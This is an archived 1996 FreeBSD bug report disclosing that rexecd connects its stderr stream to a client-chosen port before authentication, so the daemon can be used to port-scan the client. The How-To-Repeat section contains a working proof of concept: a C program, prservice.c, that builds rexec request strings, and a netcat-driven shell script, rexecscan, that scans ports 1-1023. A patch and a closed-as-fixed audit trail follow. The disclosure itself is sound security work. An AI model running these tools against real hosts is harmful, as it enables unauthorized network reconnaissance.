From jaeger@dhp.com  Mon Nov 18 20:32:41 1996
Received: from dhp.com (dhp.com [199.245.105.1])
          by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA13228
          for <FreeBSD-gnats-submit@freebsd.org>; Mon, 18 Nov 1996 20:32:05 -0800 (PST)
Received: (from jaeger@localhost) by dhp.com (8.8.2/8.6.12) id XAA01382; Mon, 18 Nov 1996 23:31:37 -0500
Message-Id: <Pine.LNX.3.95.961118232450.1065B-100000@dhp.com>
Date: Mon, 18 Nov 1996 23:31:36 -0500 (EST)
From: jaeger <jaeger@dhp.com>
To: FreeBSD-gnats-submit@freebsd.org
Subject: Minor holes in rexecd

>Number:         2055
>Category:       bin
>Synopsis:       Minor holes in rexecd
>Confidential:   no
>Severity:       non-critical
>Priority:       low
>Responsible:    freebsd-bugs
>State:          closed
>Quarter:
>Keywords:
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Mon Nov 18 20:40:02 PST 1996
>Closed-Date:    Tue Nov 19 13:30:45 PST 1996
>Last-Modified:  Tue Nov 19 13:32:04 PST 1996
>Originator:     jaeger
>Release:        FreeBSD 2.1-STABLE i386
>Organization:
FC
>Environment:

	2.1.5-RELEASE

>Description:

        Rexecd allows redirection of stderr stream to an arbitrary port on
the client machine.  This stream is opened by rexecd before authentication of
the user.
        Because rexec uses unprivileged ports for the whole process, any
user can send a request to a rexecd requesting connection of the stderr stream
to an arbitrary port on the client machine.  Since the client is unprivileged,
there is no possibility for the legitimate stderr stream to be destined for a
privileged port.
        In addition, spoofing techniques could allow the client to direct
the stderr stream towards an arbitrary host as well as an arbitrary port,
possibly exploiting a given trust model.
        Since rexecd terminates if the stderr port can't be connected to,
and the port can be specified, rexecd can be used to easily scan the client
host from the server host.  The included script "rexecscan" demonstrates
this.

>How-To-Repeat:

begin prservice.c

/* modified by jaeger 12Nov1996. Duplicated slack coding style.

   now takes 
	port locuser remuser [cmd]
	port remuser passwd [cmd]
   where port is the dst port you wish the stderr socket to connect to
   from the server to the client machines.

/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
   rsh/rexec attacks.  Needs to be a prog because shells strip out nulls.

   args:
	locuser remuser [cmd]
	remuser passwd [cmd]

   cmd defaults to "pwd".

   ... whatever.  _H*/

#include <stdio.h>

/* change if you like; "id" is a good one for figuring out if you won too */
static char cmd[] = "pwd";

static char buf [256];

main(argc, argv)
  int argc;
  char * argv[];
{
  register int x;
  register int y = 0;
  char * p;
  char * q;

  p = buf;
  memset (buf, 0, 256);		/* null out the buffer */


/*  p++;				*/ /* first null */
/*  y = 1;
*/
  if (! argv[1])
    goto wrong;
  x = strlen (argv[1]);
  memcpy (p, argv[1], x);	/* port plus null */
  x++;
  p += x;
  y += x;

  if (! argv[2])
    goto wrong;
  x = strlen (argv[2]);
  memcpy (p, argv[2], x);	/* second arg plus null */
  x++;
  p += x;
  y += x;

  if (! argv[3])
    goto wrong;
  x = strlen (argv[3]);
  memcpy (p, argv[3], x);	/* third arg plus null */
  x++;
  p += x;
  y += x;

  q = cmd;
  if (argv[4])
    q = argv[4];
  x = strlen (q);		/* not checked -- bfd */
  memcpy (p, q, x);		/* the command, plus final null */
  x++;
  p += x;
  y += x;

  memcpy (p, "\n", 1);		/* and a newline, so it goes */
  y++;

  write (1, buf, y);		/* zot! */
  exit (0);

wrong:
  fprintf (stderr, "%s: port arg arg\n",argv[0]);
  exit (1);
}

end prservice.c

begin rexecscan

#!/bin/sh
# Dumb script to demonstrate scanning with rexecd
# jaeger, 12Nov1996

# Path to netcat
NC=nc
# Path to prservice program
PRS=./prservice
# Port to scan to
MAX=1024

TARGET=$1
USER=$2
PASSWORD=$3

PORT=1

if [ $# -ne 3 ]; then
	echo "$0 targethost username password"
fi

while [ $PORT -lt $MAX ]; do
	$PRS $PORT $USER $PASSWORD "echo $PORT open" | $NC $TARGET 512
	PORT=`expr $PORT + 1`
done

exit 0

end rexecscan

>Fix:

*** rexecd.c.dist	Mon Nov 11 11:32:23 1996
--- rexecd.c	Thu Nov 14 01:55:17 1996
***************
*** 151,168 ****
  		port = port * 10 + c - '0';
  	}
  	(void) alarm(0);
! 	if (port != 0) {
! 		s = socket(AF_INET, SOCK_STREAM, 0);
! 		if (s < 0)
! 			exit(1);
! 		if (bind(s, (struct sockaddr *)&asin, sizeof (asin)) < 0)
! 			exit(1);
! 		(void) alarm(60);
! 		fromp->sin_port = htons(port);
! 		if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0)
! 			exit(1);
! 		(void) alarm(0);
! 	}
  	getstr(user, sizeof(user), "username");
  	getstr(pass, sizeof(pass), "password");
  	getstr(cmdbuf, sizeof(cmdbuf), "command");
--- 151,157 ----
  		port = port * 10 + c - '0';
  	}
  	(void) alarm(0);
! 
  	getstr(user, sizeof(user), "username");
  	getstr(pass, sizeof(pass), "password");
  	getstr(cmdbuf, sizeof(cmdbuf), "command");
***************
*** 215,220 ****
--- 204,227 ----
  		error("No remote directory.\n");
  		exit(1);
  	}
+ 
+ 	if (port != 0) {
+ 		if ((port != 0) && (port < IPPORT_RESERVED)) {
+ 			syslog(LOG_ERR, "client stderr port in reserved range\n");
+ 			exit(1);
+ 		}
+ 		s = socket(AF_INET, SOCK_STREAM, 0);
+ 		if (s < 0)
+ 			exit(1);
+ 		if (bind(s, (struct sockaddr *)&asin, sizeof (asin)) < 0)
+ 			exit(1);
+ 		(void) alarm(60);
+ 		fromp->sin_port = htons(port);
+ 		if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0)
+ 			exit(1);
+ 		(void) alarm(0);
+ 	}
+ 
  	(void) write(2, "\0", 1);
  	if (port) {
  		(void) pipe(pv);
***************
*** 255,260 ****
--- 262,268 ----
  		(void) close(s); (void)close(pv[0]);
  		dup2(pv[1], 2);
  	}
+ 
  	if (*pwd->pw_shell == '\0')
  		pwd->pw_shell = _PATH_BSHELL;
  	if (f > 2)

>Release-Note:
>Audit-Trail:
State-Changed-From-To: open->closed 
State-Changed-By: pst 
State-Changed-When: Tue Nov 19 13:30:45 PST 1996 
State-Changed-Why:  
fixed in current, patch submitted to 2.1 release master 
>Unformatted:
